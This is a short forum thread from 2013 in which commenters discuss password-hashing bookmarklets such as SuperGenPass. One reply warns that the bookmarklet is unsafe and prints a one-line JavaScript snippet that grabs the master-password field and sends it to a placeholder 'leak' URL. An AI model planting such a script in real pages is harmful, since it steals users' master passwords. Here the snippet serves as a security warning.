News for hackers. Stuff that matters.

A comment on Have I been pwned? Check if your email has been compromised in a data breach. Parent comment

Re:Have I been pwned? Check if your email has been compromis... by jdmichal on Wednesday December 04, 2013 @06:01PM (#6851121)
There is also http://supergenpass.com, which uses a JavaScript bookmarklet to do the hashing.
[ Parent | on HN ]
Re:Have I been pwned? Check if your email has been compromis... by A1kmm on Thursday December 05, 2013 @05:52AM (#6853727)
That is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet:

document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" + $("#gp2_master").val()})})

[ Parent | on HN ]
Re:Have I been pwned? Check if your email has been compromis... by reconbot on Thursday December 05, 2013 @09:08AM (#6854403)
You can use an enigmapass or a few of the other browser extensions to avoid this. Also there are iphone and android apps.
[ Parent | on HN ]